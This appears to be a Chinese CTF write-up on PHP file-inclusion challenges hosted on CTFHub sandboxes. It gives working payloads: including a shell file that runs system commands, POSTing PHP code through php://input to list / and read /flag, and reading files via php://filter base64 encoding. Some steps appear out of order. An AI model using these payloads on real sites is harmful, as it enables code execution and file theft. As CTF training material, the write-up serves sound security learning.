【CTF夺旗赛】文件包含漏洞攻防
文件包含
这个关卡的代码仅简单检查file
参数值中是否出现"flag"
字符串,若没有,则直接使用include
函数包含。攻击者可以利用此功能包含服务器上的其他文件(如日志、Session文件)或包含一个可执行的脚本文件来执行系统命令。
构造攻击:
-
URL:
http://challenge-xxx.sandbox.ctfhub.com:10800/?file=shell.txt
http://challenge-72077bf4ceb6dc65.sandbox.ctfhub.com:10800/?file=shell.txt
ctfhub=system("find / -name flag*"
php://input
使用伪协议直接执行代码
当服务器上没有现成的可包含脚本文件时,php://input
伪协议是更强大的武器。它允许你直接将要执行的PHP代码放在请求体中进行包含。
-
漏洞代码分析:要求
file
参数的值前6个字符必须是php://
,这正引导我们使用PHP伪协议。 -
构造攻击:
-
URL:
http://challenge-xxx.sandbox.ctfhub.com:10800/?file=php://input
-
方法:
POST
-
请求体(Body):直接写入要执行的PHP代码。
-
-
攻击流程:
列出根目录,确认flag位置。从返回结果中清晰看到根目录下存在一个名为flag
的文件(或flag_xxxxx
)。列出服务器根目录下的所有文件和文件夹。发送的POST数据(Body):<?php system('ls /');?>
直接读取flag文件结果:成功在HTTP响应体中获取到flag:ctfhub{eccc6c869ae2369fb0fee66b7}
。目的:直接读取flag文件内容。发送的POST数据(Body):<?php system('cat /flag');?>
(或cat /flag_xxxxx
)
远程包含
<?php system('ls /');?>
读取源代码
解决方案:使用读取文件
PHP的php://filter
包装器可以用于读取文件内容并对其进行编码(如base64编码),从而绕过直接包含文件的限制。具体步骤如下:
-
构造Payload:使用
完整的URL示例:php://filter/convert.base64-encode/resource=/flag
作为file
参数的值。这个Payload会读取/flag
文件的内容,并将其转换为base64编码后输出。http://challenge-3513bfd6b5252588.sandbox.ctfhub.com/?file=php://filter/convert.base64-encode/resource=/flag
-
访问URL:在浏览器或工具中访问上述URL。服务器会包含这个过滤器流,并返回base64编码后的flag内容。
-
解码base64:从响应中获取base64字符串,然后解码即可得到flag。
?file=php://filter/convert.base64-encode/resource=/flag